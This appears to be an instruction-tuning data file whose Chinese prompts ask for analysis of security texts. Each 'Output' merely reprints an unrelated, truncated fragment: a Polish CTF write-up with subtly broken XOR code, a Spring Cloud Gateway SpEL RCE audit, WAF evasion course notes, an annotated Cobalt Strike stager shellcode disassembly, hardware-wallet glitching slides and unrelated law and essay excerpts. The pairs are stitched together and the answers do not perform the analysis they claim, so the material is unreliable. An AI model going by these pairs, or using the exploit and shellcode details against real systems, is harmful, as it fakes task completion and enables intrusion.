## Reverse 400 (re, 400p) ### PL [ENG](#eng-version) Najtrudniejsze zadanie z RE na tym CTFie. Dostajemy [program](./r400) (znowu elf), który pobiera od usera hasło. Domyślamy się że to hasło jest flagą. Tutaj niespodzianka, bo hasło nie jest sprawdzane nigdzie w programie. Po chwili grzebania/debugowania, okazuje się, że hasło jest zamieniane na DWORD (cztery znaki) i pewna tablica bajtów jest "deszyfrowana" (tzn. xorowana) z nim, a następnie wykonywana. Xorowane dane wyglądają tak: 5E 68 0E 59 46 06 47 5E 55 11 15 41 5C 0A 03 16 44 0A 08 52 14 16 0E 16 52 0D 13 5E 14 3B 09 43 5C 0D 08 45 15 0A 0A 57 40 0B 0E 44 55 16 13 5E 77 0D 08 51 8E 48 66 36 34 EB 87 8D 35 62 66 36 8C 66 66 36 34 AF E6 8E 35 62 66 36 F9 E2 F6 A6 Pierwsze próby zgadnięcia hasła nie udały się (myśleliśmy że może ten fragment to funkcja, i zacznie się jakimś klasycznym prologiem). Ale szybko wpadliśmy na lepszy pomysł. Otóż jaki jest najczęściej spotykany bajt w kodzie? Oczywiście zero. Więc jeśli znajdziemy najczęściej występujący bajt w zaszyfrowanym fragmencie, będziemy wiedzieli że prawdopodobnie były to oryginalnie zera. Kod wyszukujący najczęstsze bajty: source = '5E680E594606475E551115415C0A0316440A085214160E16520D135E143B09435C0D0845150A0A57400B0E445516135E770D08518E48663634EB878D356266368C66663634AFE68E35626636F9E2F6A6'.decode('hex') prologue = '554889E5'.decode('hex') def xor(a, b): return ''.join(chr(ord(ac)  ord(bc)) for ac, bc in zip(a, b)) print xor(source, prologue).encode('hex') a0 = source[0::4] a1 = source[1::4] a2 = source[2::4] a3 = source[3::4] def most_common(x): import collections s = collections.Counter(x).most_common(1)[0] return (s[0].encode('hex'), s[1]) print most_common(a0), print most_common(a1), print most_common(a2), print most_common(a3), Okazało się to być strzałem w dziesiątkę! (Jeśli dobrze pamiętamy, jeden z czterech fragmentów źle trafił, ale udało się to już ręcznie poprawić trywialnie). W ten sposób rozwiązaliśmy najtrudniejsze zadanie RE na CTFie i zdobyl


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Lets Get Physical Network Attacks Against Physical Security Systems Ricky HeadlessZeke Lawshae  Defcon24  2016 Intro Let's Get Physical 3 Intro Who am I?  Security Researcher at TippingPoint  IoT (drink!) hacking enthusiast  Occasional conference presenter  Used to install physical security systems for a living Who am I?  Security Researcher at TippingPoint  IoT (drink!) hacking enthusiast  Occasional conference presenter  Used to install physical security systems for a living Let's Get Physical 4 Intro Physical Security  Electronic or mechanical devices used for  Access control  Surveillance  Alarms  Card readers, door controls, video cameras, DVRs, motion sensors, fire alarms, tamper switches, etc etc etc Physical Security  Electronic or mechanical devices used for  Access control  Surveillance  Alarms  Card readers, door controls, video cameras, DVRs, motion sensors, fire alarms, tamper switches, etc etc etc Let's Get Physical 5 Intro Deployment  Used by basically every organization of any size  Piece by piece getting put on the network  Acknowledge alarms and watch cameras  Push schedule and access changes  Pull logs and reports  Physical is becoming digital...IoT (drink!) Deployment  Used by basically every organization of any size  Piece by piece getting put on the network  Acknowledge alarms and watch cameras  Push schedule and access changes  Pull logs and reports  Physical is becoming digital...IoT (drink!) Let's Get Physical 6 Intro Embedded devices accessible via the network protecting valuable assets in every organization ...Should be fine! Embedded devices accessible via the network protecting valuable assets in every organization ...Should be fine! Access Control Let's Get Physical 8 Access Control Overview  Locking mechanism  ID mechanism  Sensors  Management software  Monitoring  Access and schedule changes  Override lock states Overview  Locking mechanism  ID mechanism  Sensors  Management software  Monitoring  Access and schedule changes  Override


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Caendra Inc. 2020 All Rights Reserved Web Application Penetration Testing eXtreme /*<EVASION>*/ S e c t i o n 0 1 | M o d u l e 0 2 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 Table of Contents MODULE 02 | /*<EVASION>*/ 2.1 Base64 Encoding Evasion 2.2 URI Obfuscation Techniques 2.3 JavaScript Obfuscation Techniques 2.4 PHP Obfuscation Techniques | p.2 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 We have seen how countermeasures against web application attacks can be implemented. Sometimes, they are not sufficient and can easily be circumvented. There are two solutions: attack vector optimization and using obfuscation techniques. The last one has been used heavily in web attacks, in the last 10 years. Introduction & Learning Objectives | p.3 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 Evading detection techniques is like playing "cops and robbers". Security researchers (the robbers), arrange a way to evade detection systems. They use the technique for a time, but then it becomes public. Next, the cops (the defenders) implement a solution to fix the vulnerabilities. Now it's time to produce a new technique for the robbers! Introduction & Learning Objectives | p.4 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 Learning Objectives In this module, we will cover Evasion techniques > Encoding + Obfuscation. | p.5 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 2.1 Base64 Encoding Evasion | p.6 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 We have seen in the filter section how detection systems implement a Regex-based system that searches for malicious strings. Lets suppose that we want to evade a system that inspects JavaScript code for specific keywords like eval, alert, prompt, document.cookie, or other potential malicious strings. 2.1 Base64 Encoding Evasion | p.7 WAPTXv2: Section 01, Module 02 - Caendra Inc.  2020 A possible way to escape these kinds of filters is by using Base64 encoding. Lets setup an evasion technique for a sim


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CVE-2022-22947 SpringCloud GateWay SPEL RCE echo response 环境 git clone https://github.com/spring-cloud/spring-cloud-gateway cd spring-cloud-gateway git checkout v3.1.0 审计 看diff https://github.com/spring-cloud/spring-cloud- gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用 GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式 回溯执行点 说明是个spel表达式的rce向上回溯找到 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚举 找到四个地方都在ShortcutConfigurable接口类里分布在ShortcutType的三个枚举值见上图圈 起来的部分 三个枚举值都重写了 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数 在ShortcutConfigurable接口类中有一个虚拟拓展方法shortcutType()用到的是 ShortcutType.DEFAULT枚举 继续向上查找shortcutType()函数的引用到 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normaliz eProperties 这个normalizeProperties()是对filter的属性进行解析会将filter的配置属性传入normalize中,最后 进入getValue执行SPEL表达式造成SPEL表达式注入 正向看filter 根据文档https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来看用 户可以通过actuator在网关中创建和删除路由 路由格式 在idea中通过actuator的mapping功能找到controller 然后看RouteDefinition 其中FilterDefinition类需要有一个name和args键值对 而name在创建路由的时候进行了校验 name需要和已有的filter相匹配 动态调试看一下已有的name 那么到这里利用已经呼之欲出了 复现 先创建路由filter中填充spel表达式然后refresh执行 name用到了RewritePath对应的是 org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply 需要注意的是这里args中键名要填充replacement属性不然会报空指针 然后refresh rce 堆栈如下 getValue:251, SpelExpression (org.springframework.expression.spel.standard) getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springfram


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Psychology of SecurityDRAFT June 28, 2007 Bruce Schneier 13544 words Introduction Security is both a feeling and a reality. And theyre not the same. The reality of security is mathematical, based on the probability of different risks and the effectiveness of different countermeasures. We can calculate how secure your home is from burglary, based on such factors as the crime rate in the neighborhood you live in and your door- locking habits. We can calculate how likely it is for you to be murdered, either on the streets by a stranger or in your home by a family member. Or how likely you are to be the victim of identity theft. Given a large enough set of statistics on criminal acts, its not even hard; insurance companies do it all the time. We can also calculate how much more secure a burglar alarm will make your home, or how well a credit freeze will protect you from identity theft. Again, given enough data, its easy. But security is also a feeling, based not on probabilities and mathematical calculations, but on your psychological reactions to both risks and countermeasures. You might feel terribly afraid of terrorism, or you might feel like its not something worth worrying about. You might feel safer when you see people taking their shoes off at airport metal detectors, or you might not. You might feel that youre at high risk of burglary, medium risk of murder, and low risk of identity theft. And your neighbor, in the exact same situation, might feel that hes at high risk of identity theft, medium risk of burglary, and low risk of murder. Or, more generally, you can be secure even though you dont feel secure. And you can feel secure even though youre not. The feeling and reality of security are certainly related to each other, but theyre just as certainly not the same as each other. Wed probably be better off if we had two different words for them. This essay is my initial attempt to explore the feeling of security: where it comes from, how it works, and why it


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CS的shellcode功能分析和代码重写实战 前 随着圈的新越来越多我准备从这篇开始慢慢写些与基础知识相关的章便 些对进制安全知识了解不多的同学参考虽然讲的还是基础知识但是我也尽量写的实 和有趣点防与上的章出现同质化问题 这篇要讲的问题是由上篇章 滥具备RWX-S权限且有签名的dll进感知的shellcode 注引出的有同学问我为什么接收 metepreter 第阶段的恶意代码需要那样写本篇 章就回答这个问题 另外常欢迎各位同学在圈提问能为基础知识板块的编写提供更多素材 CS的shellcode功能分析 我们这讲的其实是stage类型的shellcode为了便调试从cs中获取出这段代码我们 需要把它编译成exe由于我是 *nix 系统这就 nasm 进编译 x86_64-w64-min gw32-ld 进链接成exe 编写 start.asm 如下 然后编译连接 测试下可以上线接下来ida打开分析下执逻辑 开头就是个 call 跟进去简单看下代码逻辑 nasm -f win64 start.asm -o prog1.o x86_64-w64-mingw32-ld prog1.o -o prog1.exe 1 2 看到pop了 rbp 然后 call rbp 显然这个函数的作是把 call 的下条指令作为函数 进调我们定义下这个函数然后仔细阅读下我对所有的代码都打了注释这个 函数包含了核代码 .text:000000014000100A call_function_with_hash proc near .text:000000014000100A .text:000000014000100A var_38 = qword ptr -38h .text:000000014000100A .text:000000014000100A push r9 .text:000000014000100C push r8 .text:000000014000100E push rdx .text:000000014000100F push rcx .text:0000000140001010 push rsi .text:0000000140001011 xor rdx, rdx .text:0000000140001014 mov rdx, gs: [rdx+60h] ; 获取 PEB .text:0000000140001019 mov rdx, [rdx+18h] ; 获取 Ldr .text:000000014000101D mov rdx, [rdx+20h] ; 获取 InMemoryOrderModuleList .text:0000000140001021 .text:0000000140001021 loc_140001021: ; CODE XREF: call_function_with_hash+C3j 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:0000000140001021 mov rsi, [rdx+50h] ; 获取第个dll的BaseDllName .text:0000000140001025 movzx rcx, word ptr [rdx+4Ah] ; 获取 BaseDllName unicode_string 的 max_length .text:000000014000102A xor r9, r9 .text:000000014000102D .text:000000014000102D loc_14000102D: ; CODE XREF: call_function_with_hash+34j .text:000000014000102D xor rax, rax .text:0000000140001030 lodsb .text:0000000140001031 cmp al, 61h ; 'a' .text:0000000140001033 jl short loc_140001037 .text:0000000140001035 sub al, 20h ; ' ' .text:0000000140001037 .text:0000000140001037 loc_140001037: ; CODE XREF: call_function_with_hash+29j .text:0000000140001037 ror r9d, 0Dh .text:000000014000103B add r9d, eax .text:000000014000103E loop loc_14000102D ; 计算 hash .text:000000014000


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IP Law Copyright DMCA Trademark Patent Trade Secret Copyright - Definition Copyright protects "original works of authorship, fixed in a tangible medium of expression". In the following categories: literary, musical, dramatic, choreographic, pictorial, sculptural, audiovisual, sound, architectural. Not in these categories: ideas, procedures, processes, systems, methods of operation, concepts, principles, or discoveries. Copyright - Bundle of Rights Reproduce Distribute Publicly Perform / Display Create derivative works Transfer / Sell work or rights License rights Owner may sue for the infringement of the above rights Copyright - Duration Author's life plus 70 years. Or if made by a corporation, 95 years after publication or 120 years after creation. Originally in 1790: 14 years + 14 more years if author still alive Copyright - Why is this a good idea? We want to reward authors for being creative. Not all authors are motivated purely by a desire to create art. Copyright - Fair Use Fair use factors: 1) Purpose and Character of the use (commercial vs. educational non-profit) 2) Nature of the copyrighted work 3) Amount of work copied in relation to entire work 4) Effect of use on potential market or value of copyrighted work Copyright - Example 1 Alan writes a novel and titles it "Code Monkey". It becomes a bestseller almost overnight. Bob decides to copy and sell the content of the novel under the title "Source Simian". Can Alan win a copyright suit against Bob? Copyright - Example 2 Gene is an artist, hired to plan and create a unique garden for the City. Gene creates precisely designed beds of flowers and bushes in ways that have never been seen before. After six months, the plants have grown and the City wants to trim them down. Gene sues, saying he owns the copyright to his work of art, and the City cannot alter it without his permission. What result and why? DMCA Digital Millenium Copyright Act Passed in 1998 in order to "modernize" some aspects of copyright law.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Homeless Vikings Cut it out. Youre just making it worse. A marginally entertaining talk by Dave Josephsen Who IS this guy?  Dave. Sysadmin.  Various (mostly useless) Certifications  I wrote a book. You should buy it (I could use the $4)  I write the monitoring column for ;login magazine.  Use SourceMage! You might find me at  usenix LISA  usenix security  usenix tech  NANOG  defcon It all went down sorta like this: Conclusions I think we can draw from this  There is no such thing as repudiating mail from  Spammers will find a way to use your credentials  Delivery countermeasures are broken, and have generally made things worse.  Content filtering is NOT dead (contrary to popular belief). Whats all this about BGP? In short, Prefix Hijacks make the IPs of others, your own. This isn't new They've been used in the past to social engineer blocks of net-space away from unsuspecting RIR's, for the purpose of selling them to private enterprise who didn't know any better. In the past few years, a new kind of prefix hijack has become more prevalent. These are hard to detect and trace because they last for around 15 minutes, and come with a lot of AS prepending Why would you do this?  NMap the NSA  P2P MP3's  DOS the RIAA  Other Illegal acronyms How does it work? Usually, like this: If someone doesnt play nice: Or is clever and not nice: But spammers dont care about your netblock anyway. But there isnt much unallocated IPV4 space right?


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

from sage.all import GF, PolynomialRing P=PolynomialRing(GF(2),'x') e = 31337 n = P('x2048 + x2046 + x2043 + x2040 + x2036 + x2035 + x2034 + x2033 + x2031 + x2029 + x2025 + x2024 + x2022 + x2019 + x2018 + x2017 + x2012 + x2007 + x2006 + x2004 + x2000 + x1999 + x1998 + x1997 + x1993 + x1992 + x1991 + x1986 + x1982 + x1981 + x1979 + x1978 + x1977 + x1975 + x1970 + x1964 + x1963 + x1962 + x1961 + x1960 + x1959 + x1958 + x1955 + x1954 + x1952 + x1951 + x1949 + x1947 + x1942 + x1939 + x1938 + x1936 + x1934 + x1933 + x1932 + x1930 + x1928 + x1927 + x1923 + x1922 + x1919 + x1918 + x1915 + x1914 + x1913 + x1912 + x1911 + x1910 + x1908 + x1903 + x1902 + x1900 + x1899 + x1897 + x1893 + x1891 + x1890 + x1886 + x1881 + x1880 + x1879 + x1878 + x1875 + x1874 + x1873 + x1872 + x1871 + x1870 + x1869 + x1865 + x1863 + x1862 + x1860 + x1856 + x1855 + x1853 + x1852 + x1845 + x1841 + x1839 + x1837 + x1836 + x1835 + x1833 + x1832 + x1829 + x1828 + x1827 + x1826 + x1824 + x1823 + x1822 + x1821 + x1820 + x1819 + x1818 + x1817 + x1813 + x1812 + x1810 + x1809 + x1808 + x1807 + x1803 + x1799 + x1797 + x1796 + x1794 + x1792 + x1790 + x1786 + x1783 + x1782 + x1779 + x1778 + x1776 + x1775 + x1774 + x1772 + x1767 + x1766 + x1765 + x1764 + x1763 + x1762 + x1759 + x1757 + x1756 + x1754 + x1753 + x1752 + x1750 + x1749 + x1741 + x1734 + x1730 + x1729 + x1726 + x1725 + x1723 + x1722 + x1721 + x1716 + x1714 + x1713 + x1712 + x1710 + x1709 + x1706 + x1705 + x1703 + x1702 + x1700 + x1698 + x1693 + x1692 + x1691 + x1690 + x1683 + x1682 + x1681 + x1680 + x1679 + x1677 + x1672 + x1670 + x1669 + x1666 + x1663 + x1662 + x1661 + x1659 + x1655 + x1653 + x1651 + x1649 + x1648 + x1647 + x1646 + x1644 + x1643 + x1642 + x1640 + x1639 + x1638 + x1634 + x1633 + x1628 + x1620 + x1619 + x1618 + x1616 + x1614 + x1611 + x1610 + x1608 + x1605 + x1604 + x1603 + x1599 + x1597 + x1595 + x1594 + x1590 + x1588 + x1587 + x1585 + x1583 + x1580 + x1579 + x1577 + x1574 + x1573 + x1572 + x1568 + x1566 + x1565 + x1563 + x1562 + x15


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Breaking Bitcoin Hardware Wallets Glitches cause stitches! Josh Datko Chris Quartier Kirill Belyayev Updated: 2017/07/07 Link Drop! All updated references, notes, links, can be found here: https://www.cryptotronix.com/breakingbitcoin The bug that started it all 1 bool storage_is_pin_correct(const char *pin) 2 { 3 return strcmp(shadow_config.storage.pin , 4 pin) == 0; 5 } On the STM32F205, when the first pin character is wrong it returns in 100ns. When the fourth was wrong, it returned in about 1100ns. If this was there, what else could we find? Broken Window Theory for Bugs Initial Attack Plan 1. Send change_pin via Python. 2. Watch the return over USBmeasure when the PIN failed. 3. Profit?! Prevents retries with a busy wait loop. Back off timer ChipWhisperer 1 This talk Fault Attacks Bitcoin Hardware Wallets ChipWhisperer One slide intro to Fault Attacks Definition An attack that applies an external stress on electronic system, which generates a security failure2. Two Parts: 1. Fault Injection  Vcc glitching  Clock glitching 2. Fault Exploitation  Nicolas Bacca suggested glitching flash ops3, we wanted to bypass the PIN as it was closer to ChipWhisperer examples. Our Motivation What happens when you apply the ChipWhisperer to the STM32F205 (F205)? # Is the F205 vulnerable to fault injection? # Is the TREZOR firmware exploitable via a fault? # How do we raise awareness for these kinds of attacks? We just press the glitch button right? # Turns out, you cant just shake the wallet and have BTC fall out. # Requires some RE to determine voltages, test points, how to modify the firmware, etc... # HW Wallets went OOS :( Exhaust the supply chain How to slow down attacks The Fail Train Cometh # Clock glitching kinda worked? It made Windows USB very sad :( # Rebooting unsigned firmware is teh suck (buttons to press). # Timing analysis was working, but power analysis with CW was not. # Logic level conversion is proof that the singularity is far away. # Lots of scotch. Or why d